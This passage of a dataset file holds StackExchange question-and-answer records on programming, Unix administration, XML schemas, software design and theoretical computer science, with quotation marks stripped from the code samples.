60);}I'd personally recommend either four spaces, or one tab for indentation in Javascript.In the line this.console.log(Object +this.objects[obj].name+:+obj+ throws error:\\n+err);, you prefix console.log with this. In this situation, this isn't needed, and can be removed.Finally, you have many other style violations, so I'd recommend checking out a style guide, like this one for reference on how to properly style code."  } 
{  "id": "_codereview.51993"  , "question": "Here's a function I wrote - am I getting DRY about right? I could add another argument to paramFilter maybe, for even less reuse. Or have I gone too overboard as it is?function goMageHack() {    var ampFilter = function (str) {        var amps = [&amp;, amp%3B];        for (var j = 0; j < amps.length; j++) {            str = fullReplace(amps[j],amp;,str);        }        return str;    }    var paramFilter = function(element, param) {        var $element = jQuery(element);        for (var i = 0; i < param.length; i++) {            if ($element.attr(param[i])) {                $element.attr(param[i], ampFilter($element.attr(param[i])));                $element.attr(param[i], fullReplace(amp;, &, $element.attr(param[i])));            }        }    }    jQuery(.pages,.sort-by).find(a).each(function (_, element) {        paramFilter(element, [data-param, href]);    });    jQuery(.limiter).find(option).each(function(_, element){        paramFilter(element, [value]);    });}For completeness, since it is called from that function:function fullReplace(needle, haystack, str) {    str = String(str);    var newStr;    while ((newStr = str.replace(needle, haystack)) !== str) {        str = newStr;    }    return newStr;}Additionfunction handleChangingDropBox(attrib, that) {            var $this = jQuery(that);            var activeSet = Number($this.children(:selected).data(checkboxkey));            var checkBoxes = checkBoxSets[activeSet];            var size;            if (currentlySelectedDropDownBox !== null) {                checkBoxSets[currentlySelectedDropDownBox].trigger(click);            }            currentlySelectedDropDownBox = activeSet;            if (size = checkBoxes.size()) {                var lastCheckBox = checkBoxes.last();                if (size !== 1) {                    if ($this.val() === choose) {                        var dirtyParams = splitUrlIntoParams(lastCheckBox.data('param'));                        delete dirtyParams[attrib];                        lastCheckBox.attr(data-param, createAttribString(dirtyParams));                        lastCheckBox.trigger(click);                        currentlySelectedDropDownBox = null;                    }                    else {                        var newParams = [];                        var not = checkBoxes.not(lastCheckBox);                        not.each(                            function (index, element) {                                var $element = jQuery(element);                                newParams.push(getTheDiffForATextBox($element, lastCheckBox, attrib));                            }                        );                        createTheDataAttribsForTheLastCheckBox(lastCheckBox, newParams, not.first(), attrib);                    }                }                else {                    var differentindex = (activeSet == 0) ? 1 : 0;                    var notCheckBox = checkBoxSets[differentindex].first();                    createTheDataAttribsForTheLastCheckBox(lastCheckBox, [], notCheckBox, attrib);                }                lastCheckBox.trigger(click);            }"  , "title": "Filter functions"  , "tags": "javascript;jquery"  } 
{  "id": "_unix.275689"  , "question": "I have a problem editing a html file on a server via vim. The file is utf-8 encoded.While editing with vim (v7.3, no plugins active) I can see umlauts and editing and saving a line before the umlaut is ok. But if I edit after the umlaut it seems that the umlaut consumes two chars while only one char is visible and all edits are shifted. I can see this only after saving and reopening the file. And I can insert an umlaut but for removing I have to press x twice (the char changes meanwhile).I have no idea where to search for the issue vim, terminal or ssh connection?remote:> file index.htmlindex.html: HTML document, UTF-8 Unicode text> echo $TERMxterm-256color> locale charmapANSI_X3.4-1968> grep CHARMAP /etc/default/console-setup CHARMAP=UTF-8local:> locale charmapUTF-8"  , "title": "problem editing utf8 text file with vim"  , "tags": "ssh;vim;unicode"  } 
{  "id": "_softwareengineering.81207"  , "question": "These days is it required to test a desktop website for IE6 and IE7? Or is IE8 and IE9 enough?I heard that IE8 has replaced IE7. "  , "title": "These days is it required to test a desktop website for IE6 and IE7? Or is IE8 and IE9 enough?"  , "tags": "html;css;html5;xhtml"  , "accepted_answer": "You need to consider your where your target audience is from.For example, looking at the United Kingdom:http://gs.statcounter.com/#browser_version-GB-monthly-201005-201105Results: 1.72% IE6, and 6.66% IE7.So for websites designed for UK businesses targeting UK clients, I feel safe dropping IE6. I try to make it work in IE7 where possible, but it's fine if it's not perfect. It's much the same story for America.On the other hand, if you're looking at India:http://gs.statcounter.com/#browser_version-IN-monthly-201005-201105Results: 11.81% IE6, and 5.33% IE7.IE6 actually has higher usage than IE7. I can't comment on India, but those statistics don't look good.China makes me cry:http://gs.statcounter.com/#browser_version-CN-monthly-201005-201105Results: 40.54% IE6, and 5.64% IE7.Worldwide:http://gs.statcounter.com/#browser_version-ww-monthly-201005-201105Results: 3.84% IE6, and 6.39% IE7."  } 
{  "id": "_softwareengineering.349693"  , "question": "I've got a class Shop which contains a collection of Item objects. You can create a shop in two different ways:Create a shop filled with test data (for debug purposes);Create a shop by reading the data from fileI also need to write the shop back to file. There is any pattern that can elegantly wrap this behavior?This is the implementation right now (in Java):class Item {    public final String name;    public Item(String n) {        name = n;    }}class Shop {    public List<Item> items;    private Shop() {         items = new LinkedList<>();    }    public static Shop generateTestData() {        Shop shop = new Shop();        shop.items.add(new Item(Product A));        shop.items.add(new Item(Product B));        shop.items.add(new Item(Product C));        return shop;    }    public static Shop readFromFile(String filepath) {        // read from file    }    public static void writeToFile(Shop shop, String filepath) {        // write to file    }}N.B. I considered applying a sort of Prototype pattern in this way: I create a static instance of the Shop filled with test data, then the user can get a copy of that and modify it as he/she wants. Is it a good idea?"  , "title": "Design Pattern: getting a collection of objects from different sources"  , "tags": "design patterns;object oriented design"  , "accepted_answer": "In short, you are missing the support of a dedicated layer (abstraction) addressed to facilitate the access to the data and to its differents storages. The DALThe DAL allow you to decouple your actual Shop from its storage.  The layer stablishes a well-defined separation of concerns (responsabilities).The design of the DAL usually vary among projects. However, I think that DAO and Repository patterns could do the job perfectly in this specific case.In terms of abstraction, DAOs and Repositories belongs to different layers. Being the Repository the higher and the DAO the lowerBussines Layer  -> Repository -> DAOIt's not necessary to implement both. Whether you implement one of them or both, the key here is the single responsability principle.Translated to your specific case, you can do something like this:ShopRepository:FileShopDAO InMemoryShopDAODataBaseShopDAOetc...For every specific situation you could use one of the DAOsTesting : InMemoryShopDAOProduction : DataBaseShopDAO or FileShopDAOThe key here is that all the DAOs implement the same interface. For instance: ShopDAO. public ShopRepository {  private ShopDAO dao;  public ShopRepository(ShopDAO dao){    this.dao = dao;  }   //Data access methods....}Choose according to the requirements and your preferences.For instance, you may decide to go with 3 different Repositories rather than 3 different DAOs. That's up to you."  } 
{  "id": "_unix.85164"  , "question": "In Linux, I had created a userid. After creating this, I encountered a problem that the .EXE Files are not opened on simple click. They seem to be not privileged for my user account.How can I overcome from this?"  , "title": "Privileges on Linux?"  , "tags": "linux;permissions;executable"  , "accepted_answer": "Assuming these .exefiles were actually compiled for Linux (and your specific architecture) you need to ensure they have execute permissions:chmod +x your_file_names_hereTo make sure these files are actually meant to run on Linux, check the output offile one_file_name_here"  } 
{  "id": "_codereview.10180"  , "question": "This is intended to be part of a generalised solution to the problem of converting any (with some minor restrictions) CSV content into XML. The restrictions on the CSV, and the purpose of the schema should be apparent from the annotations.The main review criteria I request are:Is it suitable for non-destructive round-trip transformations from .csv to .xml and back again to .csv?Is the schema clear and readable enough?Is there a simpler way to do the same thing?Are there any obvious errors?This schema, as well as associated XSLT style-sheets, when polished, will be put to good use in the public domain with a creative commons license.Here is the schema to be reviewed: <?xml version=1.0 encoding=UTF-8?><xs:schema    xmlns:xs=http://www.w3.org/2001/XMLSchema    xmlns:xcsv=http://seanbdurkin.id.au/xslt/xcsv.xsd    elementFormDefault=qualified    targetNamespace=http://seanbdurkin.id.au/xslt/xcsv.xsd    version=1.0>  <xs:import      namespace=http://www.w3.org/XML/1998/namespace       schemaLocation=xml.xsd/>  <xs:element name=comma-separated-single-line-values>   <xs:annotation><xs:documentation xml:lang=en>    This schema describes an XML representation of a subset of csv content.    The format described by this schema, here-after referred to as xcsv    is part of a generalised solution to the problem of converting    general csv files into suitable XML, and the reverse transform.    The restrictions on the csv content are:      * The csv file is encoded either in UTF-8 or UTF16. If UTF-16, a BOM        is required.      * The cell values of the csv may not contain the CR or LF characters.        Essentially, we are restricted to single-line values.    The xcsv format was developed by Sean B. Durkin&#x85;    www.seanbdurkin.id.au   </xs:documentation></xs:annotation>   <xs:complexType>    <xs:sequence>     <xs:element ref=xcsv:notice minOccurs=0 maxOccurs=1/>     <xs:element name=row minOccurs=0 maxOccurs=unbounded>      <xs:annotation><xs:documentation xml:lang=en>       A row element represents a row or line in the csv file. Rows contain values.       </xs:documentation>       <xs:appinfo>        <example>         <csv-line>apple,banana,red, white and blue,quote this()</csv-line>         <row>          <value>apple</value>          <value>banana</value>          <value>red, white and blue</value>          <value>quote this()</value>         </row>        </example>       </xs:appinfo>      </xs:annotation>         <xs:choice minOccurs=1 maxOccurs=unbounded>       <xs:annotation><xs:documentation xml:lang=en>         Empty rows are not possible in csv. We must have at least one value or one error.       </xs:documentation></xs:annotation>       <xs:element name=value>        <xs:annotation><xs:documentation xml:lang=en>         A value element represents a decoded (model) csv value or cell.         If the encoded value in the lexical csv was of a quoted form, then         the element content here is the decoded or model form. In other words,         the delimiting double-quote marks are striped out and the internal         escaped double-quotes are de-escaped.        </xs:documentation></xs:annotation>        <xs:simpleType>         <xs:restriction base=xs:string>          <xs:pattern value=[^\\n]*/>          <xs:whiteSpace value=preserve/>          <xs:annotation><xs:documentation xml:lang=en>           Cell values must fit this pattern because of the single-line restriction           that we placed on the csv values.          </xs:documentation></xs:annotation>         </xs:restriction>        </xs:simpleType>       </xs:element>       <xs:group ref=xcsv:errorGroup>        <xs:annotation><xs:documentation xml:lang=en>          An error can be recorded here as a child of row, if there was an encoding          error in the csv for that row.        </xs:documentation></xs:annotation>       </xs:group>        </xs:choice>     </xs:element>     <xs:group ref=xcsv:errorGroup>      <xs:annotation><xs:documentation xml:lang=en>       An error can be recorded here as a child of the comma-separated-values element,       if there was an i/o error in the transformational process. For example:        CSV file not found.      </xs:documentation></xs:annotation>     </xs:group>    </xs:sequence>    <xs:attribute name=xcsv-version type=xs:decimal        fixed=1.0 use=required/>   </xs:complexType>  </xs:element>  <xs:element name=comma-separated-multiline-values>   <xs:annotation><xs:documentation xml:lang=en>    Similar to xcsv:comma-separated-multi-line-values but allows multi-line values.   </xs:documentation></xs:annotation>   <xs:complexType>    <xs:sequence>     <xs:element ref=xcsv:notice minOccurs=0 maxOccurs=1/>     <xs:element name=row minOccurs=0 maxOccurs=unbounded>       <xs:choice minOccurs=1 maxOccurs=unbounded>       <xs:element name=value>        <xs:simpleType>         <xs:restriction base=xs:string>          <xs:whiteSpace value=preserve/>         </xs:restriction>        </xs:simpleType>       </xs:element>       <xs:group ref=xcsv:errorGroup>       </xs:group>        </xs:choice>     </xs:element>     <xs:group ref=xcsv:errorGroup>     </xs:group>    </xs:sequence>    <xs:attribute name=xcsv-version type=xs:decimal        fixed=1.0 use=required/>   </xs:complexType>  </xs:element> <xs:element name=notice type=xcsv:notice-en />      <xs:annotation><xs:documentation xml:lang=en>       This is an optional element below comma-separated-single-line-values or        comma-separated-multiline-values that looks like the example.       </xs:documentation>      <xs:appinfo>       <example>        <notice xml:lang=en>The xcsv format was developed by Sean B. Durkin&#x85;www.seanbdurkin.id.au</notice>       </example>      </xs:appinfo></xs:annotation>      <xs:complexType name=notice-en>        <xs:simpleContent>          <xs:extension base=xcsv:notice-content-en>           <xs:attribute ref=xml:lang use=required fixed=en />          </xs:extension>        </xs:simpleContent>      </xs:complexType>      <xs:simpleType name=notice-content-en>       <xs:restriction base=xs:string>         <xs:enumeration value=The xcsv format was developed by Sean B. Durkin&#x85;www.seanbdurkin.id.au/>       </xs:restriction>      </xs:simpleType> <xs:element />   <xs:group name=errorGroup>      <xs:annotation><xs:documentation xml:lang=en>       This is an error node/message in one or more languages.      </xs:documentation>      <xs:appinfo>       <example>        <error error-code=2>         <message xml:lang=en>Quoted value not terminated.</message>         <message xml:lang=ru>   .</message>         <error-data></error-data>        </error>       </example>        <example>        <error error-code=3>         <message xml:lang=en>Quoted value incorrectly terminated.</message>         <message xml:lang=ru>   .</message>        </error>       </example>      </xs:appinfo>       </xs:annotation>   <xs:element name=error>    <xs:element name=message minOccurs=1 maxOccurs=unbounded type=xcsv:string-with-lang />      <xs:annotation><xs:documentation xml:lang=en>       Although there can be multiple messages, there should only be at most one per language.      </xs:documentation></xs:annotation>    <xs:element name=error-data minOccurs=0 maxOccurs=1 >     <xs:simpleContent>      <xs:restriction base=xs:string>       <xs:whiteSpace value=preserve/>      </xs:restriction>     </xs:simpleContent>    </xs:element>    <xs:attribute name=error-code type=xs:positiveInteger default=1 />      <xs:annotation><xs:documentation xml:lang=en>       Each different kind of error should be associated with a unique error code.       A map for the error codes is outside the scope of this schema, except to say the following:         * one (1) means a general or uncategorised error. (Try to avoid this!)      </xs:documentation></xs:annotation>   </xs:element>  </xs:group>  <xs:complexType name=string-with-lang>      <xs:annotation><xs:documentation xml:lang=en>       This is an element with text content in some language as indicated       by the xml:lang attribute.      </xs:documentation></xs:annotation>   <xs:simpleContent>    <xs:extension base=xs:string>     <xs:attribute ref=xml:lang use=required default=en />    </xs:extension>   </xs:simpleContent>  </xs:complexType></xs:schema>Use casesCase 1Lines ending in CR LF, including the last line.The CSV:1st name,2nd nameSean,Brendan,Durkin,<This is a place-marker for an empty row>,The XML equivalent (schema valid):<xcsv:comma-separated-values    xmlns:xcsv=http://seanbdurkin.id.au/xslt/xcsv.xsd    xmlns:xml=http://www.w3.org/XML/1998/namespace    xcsv-version=1.0> <xcsv:notice xml:lang=en>The xcsv format was developed by Sean B. Durkin&#x85;www.seanbdurkin.id.au</xcsv:notice> <xcsv:row>  <xcsv:value>1st name</xcsv:value> <xcsv:value>2nd name</xcsv:value> </xcsv:row> <xcsv:row>  <xcsv:value>Sean</xcsv:value> <xcsv:value>Brendan</xcsv:value> <xcsv:value>Durkin</xcsv:value> </xcsv:row> <xcsv:row>  <xcsv:value>,</xcsv:value> </xcsv:row> <xcsv:row>  <xcsv:value /> </xcsv:row> <xcsv:row>  <xcsv:value /> <xcsv:value /> </xcsv:row></xcsv:comma-separated-values>Case 2As case 1, but with line endings as just LF.XML as case 1.Case 3Lines ending in CR LF, including the last line.The CSV:Fruit,ColourBanana,YellowThe XML equivalent (schema valid):<xcsv:comma-separated-values    xmlns:xcsv=http://seanbdurkin.id.au/xslt/xcsv.xsd    xmlns:xml=http://www.w3.org/XML/1998/namespace    xcsv-version=1.0> <xcsv:row>  <xcsv:value>Fruit</xcsv:value> <xcsv:value>Colour</xcsv:value> </xcsv:row> <xcsv:row>  <xcsv:value>Banana</xcsv:value> <xcsv:value>Yellow</xcsv:value> </xcsv:row></xcsv:comma-separated-values>Case 4Same as case 3, but last line ends in eof. In other words, the last byte of the file is the UTF-8 code for 'w'.Same XML!Case 5Empty file. The size of the file is zero.Valid XML instance:<xcsv:comma-separated-values xmlns:xcsv=http://seanbdurkin.id.au/xslt/xcsv.xsd xcsv-version=1.0 />Case 6.The file has one byte: the UTF-8 code for LF.CSV:LFValid XML instance:Same XML as case 5!Case 7CVS encoding errorsThe CSV (not valid):Fruit,ColourBanana,YellowThe valid XML instance:<xcsv:comma-separated-values    xmlns:xcsv=http://seanbdurkin.id.au/xslt/xcsv.xsd    xmlns:xml=http://www.w3.org/XML/1998/namespace    xcsv-version=1.0> <xcsv:row>  <xcsv:value>Fruit</xcsv:value>  <xcsv:error error-code=2>   <xcsv:message xml:lang=en>Quoted value not terminated.</xcsv:message>   <xcsv:error-data></xcsv:error-data>  </xcsv:error>  <xcsv:value>Colour</xcsv:value> </xcsv:row> <xcsv:row>  <xcsv:value>Banana</xcsv:value>  <xcsv:error error-code=3>   <xcsv:message xml:lang=en>Quoted value incorrectly terminated.</xcsv:message>   <xcsv:error-data></xcsv:error-data>  </xcsv:error>  <xcsv:value>Yellow</xcsv:value> </xcsv:row></xcsv:comma-separated-values>Case 8Specific application where CSV looks like:1st name,2nd nameSean,DurkinPeter,PanIn this specific application, the header is always there, with columns in the specified order:<people> <person first-name=Sean first-name=Durkin /> <person first-name=Peter first-name=Pan /></people>Step 1.  Transform .cvs into .xcvs, using a generic library XSLT style-sheet.Step 2.  Transform .xcsv into the application-specific  structure as above, using a trivial XSLT style-sheet.Case 9This use case demonstrates the necessary XML encoding on a lexical level for & and < and raw data. No special encoding is required at the XML parser API level.The CSV: Character,Name &,Ampersand <,Less thanThe equivalent schema-valid XML instance:<xcsv:comma-separated-values    xmlns:xcsv=http://seanbdurkin.id.au/xslt/xcsv.xsd    xmlns:xml=http://www.w3.org/XML/1998/namespace    xcsv-version=1.0> <xcsv:row>  <xcsv:value>Character</xcsv:value> <xcsv:value>Name</xcsv:value> </xcsv:row> <xcsv:row>  <xcsv:value>&amp;</xcsv:value> <xcsv:value>Ampersand</xcsv:value> </xcsv:row> <xcsv:row>  <xcsv:value>&lt;</xcsv:value> <xcsv:value>Less than</xcsv:value> </xcsv:row></xcsv:comma-separated-values>"  , "title": "XML Schema for an XML representation of CSV"  , "tags": "xml;xsd;xslt"  , "accepted_answer": "(This is more of a comment, than an answer, but there are several longer points I'd like to address which is easier in an answer).Could you show some use cases for this? Considering that both CSV and XML are both formats for general data storage, I don't see point in converting as CSV file into a non-specifc XML format instead directly into the specific XML format of the application in use.Also, the problem with CSV is that it's not really standardized. Despite the name they don't need to use commas as value separators. Semicolons or tabs are common variants. Also some variants require quoting all values, or allow single quotes, or use backslashes to escape quotes in values, or allow line breaks in values (which is the one variant you curiously disallow). If you really need non-destructive round-trip transformations you should consider all these variants and store the features of the CSV implementation in your XML.On the other hand, you store the information if a value is quoted or not, but this isn't really part of the relevant information. Take a, for example, similar conversation: XML -> DOM -> XML. Here it is also not stored if or how a value is quoted. An XML document such as<example><![CDATA[ <&> ]]></example>after reading it into a DOM structure and then re-serializing it, it could (and often would) come out as:<example> &lt;&amp;&gt; </example>because both encodings are equivalent.Similarly in your case, it shouldn't matter if a value was originally quoted or not. So if a row such asapple,banana,red, white and blue,quote this()come out asapple,banana,red, white and blue,quote this()should be irrelevant - unless the specific CSV application requires quoting. So it's more important to store that information in the XML, than whether or a single value was quoted or not."  } 
{  "id": "_unix.387787"  , "question": "How to login into the skype with Microsoft account from Linux terminal in Ubuntu?I used the following command:echo username password | skype --pipeloginBut it is directing the credentials to the Skype Name login tab. But I want to login with a Microsoft account.Can I login into Skype with a Microsoft account from Linux terminal?I am using Skype 4.3.0.37 2014 Skype and/or Microsoftand Ubuntu 16.04 machine."  , "title": "How to login into the skype with a Microsoft account from Linux terminal?"  , "tags": "linux;ubuntu;terminal;login;skype"  } 
{  "id": "_codereview.63921"  , "question": "I've made a function to print all paths from root to all leaves in a binary search tree. I already have an insert function, which I haven't included in the code here as I felt it was irrelevant to the question. However, assume that it works. The code provided does produce the correct results. However, is it optimal? Is there room for improvement? Also, am I correct in thinking that the time complexity of this function is \\$O(n)\\$?public static void printPaths(Node node,ArrayList<Integer> path) {    if(node == null) {        return;    }    path.add(node.value);    if(node.leftChild == null && node.rightChild == null) {        System.out.println(path);        return;    } else {        printPaths(node.leftChild,new ArrayList<Integer>(path));        printPaths(node.rightChild,new ArrayList<Integer>(path));    }      }public static void main(String[] args) {    BST tree = new BST();    tree.insertNode(20);    tree.insertNode(8);    tree.insertNode(22);    tree.insertNode(12);    tree.insertNode(10);    tree.insertNode(14);    tree.insertNode(4);    ArrayList<Integer> path = new ArrayList<Integer>();    printPaths(tree.root, path);"  , "title": "Print all nodes from root to leaves"  , "tags": "java;optimization;tree;complexity"  , "accepted_answer": "However, is it optimal? I don't see wasted operations or opportunities to simplify the main logic itself.However, optimal is a bit tricky term. To begin with, optimal in terms of what? In terms of readability, I think this is fine. In terms of performance, it's not great. Cloning the list of nodes for every path is not efficient. If performance is important to you, then you need to rethink that part. I can think of at least these alternative algorithms:Use a shared linked list passed down to all method calls, that grows and shrinks as you go deeper or come back higher in the tree. This will avoid the duplication of the entire path.Use a shared array list passed down to all method calls, and also pass the current depth n. In each method call, overwrite the n-th element, and print the list contents up until the n-th element. This will avoid the duplication of the entire path. For an extra boost, if you know in advance the depth of the tree, initialize the array list with a size big enough to contain the entire path, so it doesn't need to be resized along the way. In fact, instead of an array list, you could use a plain array for best performance.Is there room for improvement? Use interface types in method signatures and variable declarations. For example:printPaths(Node node, List<Integer> path) { ... }List<Integer> path = new ArrayList<Integer>();You can omit the return statement here:if(node.leftChild == null && node.rightChild == null) {    System.out.println(path);    return;} else {    printPaths(node.leftChild,new ArrayList<Integer>(path));    printPaths(node.rightChild,new ArrayList<Integer>(path));}And you should add a space in front of the opening paren of the if, and after commas in argument lists, like this:if (node.leftChild == null && node.rightChild == null) {    System.out.println(path);} else {    printPaths(node.leftChild, new ArrayList<Integer>(path));    printPaths(node.rightChild, new ArrayList<Integer>(path));}Another alternative is to keep the return but drop the else:if (node.leftChild == null && node.rightChild == null) {    System.out.println(path);    return;}printPaths(node.leftChild, new ArrayList<Integer>(path));printPaths(node.rightChild, new ArrayList<Integer>(path));Also, am I correct in thinking that the time complexity of this function is O(n)?Yes. You visit all the n nodes exactly once.Unfortunately, no, as @Florian explains very well in his answer.You might want to consider accepting his answer instead."  } 
{  "id": "_unix.96366"  , "question": "I'm trying to write a man page for a software, and would like to include some code snippets. I'm currently using the .RS and .RE macros as part of a custom-made .SAMPLE macro, but for some reason that doesn't work. Here is the man page:.TH MYMANPAGE 1 .de SAMPLE.br.RS.nf.nh...de ESAMPLE.hy.fi.RE...SH TEST SECTION HEADINGThis is a test section heading..TP.B Test Paragraph LabelThis is some test paragraph text. This is some test paragraph text. Thisis some test paragraph text. This is some indented test code:.SAMPLEint main(void) {   return 42;}.ESAMPLEThis is more text after the test code. This is more text after the testcode.What ends up happening is that the text after .ESAMPLE is not indented as much as the paragraph text. Instead, it's lined up with the paragraph label. What would be the proper .[E]SAMPLE macro definitions to get them to play nice with .TP?"  , "title": "Properly inserting code samples in man pages"  , "tags": "man;roff;groff"  , "accepted_answer": "The .RE restores the default indentation level, not the current .TPindentation level.  All you need to do is save and restore the actualindent in play when .RS is called.  The fix below assumes you willnot nest SAMPLEs inside SAMPLEs:.de SAMPLE.br.nr saveIN \\\\n(.i   \\ double the backslash when defining a macro.RS.nf.nh...de ESAMPLE.hy.fi.RE.in \\\\n[saveIN]u    \\ 'u' means 'units': do not scale this number ..$ man ./i[...]Test Paragraph Label  This  is  some  test paragraph text. This is some test paragraph  text. This is some test paragraph text. This  is  some  indented  test code:  int main(void) {     return 42;  }  This  is  more text after the test code. This is more text after  the test code."  } 
{  "id": "_scicomp.26229"  , "question": "I'm writing a library that involves some approximations of variational calculus problems. Whenever I implement routines to evaluate the derivative or Hessian of an action functional $A$, I write a test to check that these are working correctly. To do this, I evaluate the error in using the first and second derivatives of the action to compute a local quadratic approximation to the objective functional:$E = A(u + \\delta v) - \\left(A(u) + \\delta\\cdot dA(u)\\cdot v + \\frac{1}{2}\\delta^2(d^2A(u)v)\\cdot v\\right)$and check that $E/\\delta^3$ doesn't grow for $\\delta = 2^{-1},\\ldots,2^{-N}$ for some big enough $N$.This works well for moderately sized $N$ (up to 16 or so), but for $N$ too large, truncation error begins to dominate and the error in the approximation gets worse.What is a good way to test derivative approximations in the face of truncation error?The way I see it, I have only bad options:Write an initial version of the test that prints the approximation errors, find the $N$ for which truncation error takes over, then use this $N$ as the cutoff point in the final version of the unit test.Have some way of automatically diagnosing where truncation error takes over and discard all the results thereafter.Don't make my unit tests return failure unless it's really obvious. Graph the results and let the user decide.Determine analytically where truncation error is likely to occur.I don't like option 1 because it feels like cherry-picking my tests so that they will pass. I don't like option 2 because a genuinely failing implementation's inherent mathematical errors might be erroneously assessed as truncation error, so that automated regression testing would miss the bug. At that rate, I'd have to check the results manually, in which case I might as well go with option 3. But I don't like option 3 because I want automated testing. I think option 4 is practical for functions of a single variable -- evaluating $\\sqrt{\\epsilon|f(x)/f''(x)|}$ where $\\epsilon$ is the machine epsilon gives you a pretty good upper bound -- but for big PDE problems where the unknown is a field with thousands of variables, not so much."  , "title": "testing derivative approximations"  , "tags": "testing"  } 
{  "id": "_webapps.44614"  , "question": "You have the green thing which means they are online by computer. Then you have the phone with the number next to it saying how long they've been away. So if the phone is by itself does that mean that the person is currently on facebook with their mobile device?"  , "title": "What does the phone by itself mean?"  , "tags": "facebook;facebook chat"  , "accepted_answer": "So if the phone is by itself does that mean that the person is currently on Facebook with their mobile device?Yes, that's pretty much what it means"  } 
{  "id": "_cstheory.29117"  , "question": "One of the main parameters in the construction of extractors is $k$, the min-entropy of the source distribution. In practice, suppose we want to extract randomness from a given source $S$. How do we determine $k$ in this source $S$? More generally, how do we quantify the amount of (extracted) randomness in the output distribution of the extractor."  , "title": "Extractors in Practice: How to Determine the Min-Entropy in the Source Distribution"  , "tags": "cc.complexity theory;randomness;derandomization"  , "accepted_answer": "In practice, if you want to extract randomness from a source $S$, you don't use an extractor.  Instead, you use a cryptographic hash function and hash the data from the source.  (This is how cryptographic-strength pseudo-random number generators distill randomness from many non-uniformly distributed sources of randomness.)  This can be proven safe in the random oracle model.Of course, if you care mostly about theoretical bounds, extractors are better because they provide provable bounds without requiring cryptographic assumptions, so theoretical work will naturally focus on extractors -- but if you want to do this in practice, that consideration is less important.  If you want to do this in practice, I recommend you use a cryptographic hash function, as the assumptions are reasonable and you get something that does not waste any entropy.  (And before you reject the idea of depending upon cryptographic assumptions: Hey, if it's good enough to protect e-commerce and banks and classified documents, it's probably good enough for your purposes.)If you use a cryptographic hash function, the bottom line (essentially) is that all of the entropy of the source is preserved (up to the security level of the cryptographic hash function).  So, quantifying the amount of extracted randomness comes down to quantifying how much randomness is present in the source.There is no good black-box way to determine the min-entropy of the source distribution.  So, in practice, you don't try to determine the min-entropy of a source through observational methods (e.g., observing many samples and then doing something).  Instead, you need to have a model of how the source works, and to derive estimates of its entropy based upon that model.  That model might be based upon the physics of the source or other domain-specific assumptions.  This is not a question that algorithms can help you with much.Why is it hard to estimate the min-entropy of a source?  Consider two sources: $S_1$ outputs a random $1000$-bit value $x$ (distributed uniformly at random); $S_2$ picks a random $128$-bit value $k$, then uses AES in CTR mode (a secure pseudorandom generator) to stretch $k$ to a $1000$-bit value $y$, and outputs $y$.  Notice that, assuming AES is secure, there is no feasible way to distinguish source $S_1$ from source $S_2$ by just observing their outputs: any algorithm for distinguishing the two sources would require something like $2^{128}$ steps of computation.  However, the min-entropy of $S_1$ is very different from the min-entropy of $S_2$ ($1000$ bits vs $128$ bits).  This example shows that computing the min-entropy of a source is a difficult in general, so you should not expect to find any efficient algorithm to do that for you based solely on observing some outputs from the source.For a more rigorous treatment of the complexity of estimating the min-entropy, see e.g. the following paper:The Complexity of Estimating Min-Entropy.  Thomas Watson.  CC 2015.The bottom line is that it's hard.  (Thanks to epsfooling for pointing me to this paper.)The literature on cryptographic pseudorandom number generators has lots more on this topic."  } 
{  "id": "_unix.346126"  , "question": "Handbrake new VP9 codec is grayed out and could not be used.Linux Mint.I installed it a fresh from ppa repo that is referenced on their homepage.libav and the vpx-tools are installed. What have I missed? What can I check?"  , "title": "Handbrake new VP9 codec is grayed out"  , "tags": "video encoding;codec;handbrake"  , "accepted_answer": "VP9 is associated with the MKV container.Choose a different preset. e.g. Matroska -> VP9 720p"  } 
{  "id": "_unix.91620"  , "question": "I am attempting to install Arch linux to a new (and very crappy) HP Pavillion 15 Notebook.This is a UEFI-based machine.  After several swings at it, I have managed to get pretty far.  Legacy mode is disabled in the system setup, and I have EFI-booted to the Arch DVD I burned, and progressed through both the Arch Beginner's Guide and the more advanced Installation Guide to the point where I am installing grub.While chrooted, I execute:grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=arch_grub --recheck --debugThis emits a ton of output, including:EFI variables are not supported on this systemThe first time I got to this point, I continued with the installation, not knowing if it was an actual problem.  Turns out it was, as when I rebooted the machine no bootable medium could be found and the machine refused to boot.  I was able at that point to go in to the UEFI setup menu and select an EFI file to boot, and the Arch Linux would boot up.But I am now going back and reinstalling again, trying to fix the problem above.How can I get GRUB to install correctly?"  , "title": "EFI variables are not supported on this system"  , "tags": "uefi"  , "accepted_answer": "The problem was simply that the efivars kernel module was not loaded.This can be confirmed by:sh-4.2# efivar-testerUEFI variables are not supported on this machine.If you are chrooted in to your new install, exit out, and then enable efivars:exitmodprobe efivars...and then chroot back in.  In my case, this means:chroot /mntbut you should chroot the same way you did before.Once back in, test again:efivar-testerThis will no longer report an error, and you can install grub the same way you did before.grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=arch_grub --recheck --debug"  } 
{  "id": "_unix.323194"  , "question": "I'd like to check to make sure a handful of commands are available. If it's not, I'd like to print an error message and then exit.I'd like to do this without checking variables, because it's a small point in the script and I don't want it to sprawl over a bunch of lines.The shape I'd like to use is basically this:rsync --help >> /dev/null 2>&1 || printf %s\\n rsync not found, exiting.; exit 1Unfortunately, the exit 1 is executed regardless of the rsync result. Is there a way to use this perl-type die message in bash, or no?"  , "title": "Put two commands after an ||"  , "tags": "bash"  } 
{  "id": "_unix.164540"  , "question": "How can we send a SMS message from a Linux server to mobile for notifying  specific process status saying when a process goes down?"  , "title": "Sending SMS in Linux?"  , "tags": "linux;monitoring;notifications;sms"  } 
{  "id": "_cstheory.25229"  , "question": "Fast rates generally refers to generalization bounds interpolating between the $1/n$ consistent rate and the $1/\\sqrt n$ agnostic rate. I am aware of two basic approaches for obtaining these: (1) Talagrand's Bernstein-type inequality for empirical processes and (2) PAC-Bayesian bounds. Question: are there other methods? More to the point, is there a clean, user-friendly set of notes on this, suitable for (advanced) students?"  , "title": "Fast rates -- cleanest proof"  , "tags": "machine learning;lg.learning"  } 
{  "id": "_softwareengineering.205033"  , "question": "I'm writing a library which links with modified LGPL library,so two questions:Do I have to make my code LGPL in case of static linking with LGPL library?in case of dynamic linking?"  , "title": "Static linking with modified LGPL code"  , "tags": "licensing;lgpl"  } 
